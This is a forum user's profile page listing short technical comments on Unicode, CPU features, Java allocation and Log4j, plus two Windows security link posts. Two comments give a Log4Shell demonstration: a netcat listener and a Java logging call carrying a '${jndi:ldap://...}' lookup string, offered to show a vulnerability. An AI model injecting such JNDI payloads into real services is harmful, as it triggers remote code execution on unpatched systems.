natanbc

4 ms·

1. 1.▲
   by natanbc 4y ago

   Only on older CPUs, they started fusing off AVX512 on newer silicon batches (even on 12th gen)
2. 2.▲
   by natanbc 4y ago

   Only in codepoints, but it still has the problem GP mentions of ` + e = è being two codepoints (so two elements in UCS-32), but being logically one character https://manishearth.github.io/blog/2017/01/14/
3. 3.▲
   by natanbc 5y ago

   I posted this in reply to a sibling comment, but the "correct" way is still vulnerable Start nc (nc -lp 1234) and run this org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", &q
4. 4.▲
   by natanbc 5y ago

   The RCE works with both ways, start nc (nc -lp 1234) and run this org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")
5. 5.▲
   by natanbc 5y ago

   > In a multithreaded program, a bump allocator requires locks. That kills their performance advantage. Java uses per-thread pointer bump allocators[1] > While Java does it as well, it doesn’t utilize this info to put objects on the st
6. 6.▲
   Hotpatching on Windows(techcommunity.microsoft.com)

   2 points by natanbc 5y ago|0 comments
7. 7.▲
   Win10 Admin Rights Tossed Off by yet Another Plug-In(threatpost.com)

   6 points by natanbc 5y ago|1 comments
8. 8.▲
   by natanbc 5y ago

   It does for multi-codepoint characters (such as the rainbow flag): https://play.rust-lang.org/?version=stable&mode=debug&editio... Elixir gets it right: https://replit.com/@natanbc/reverse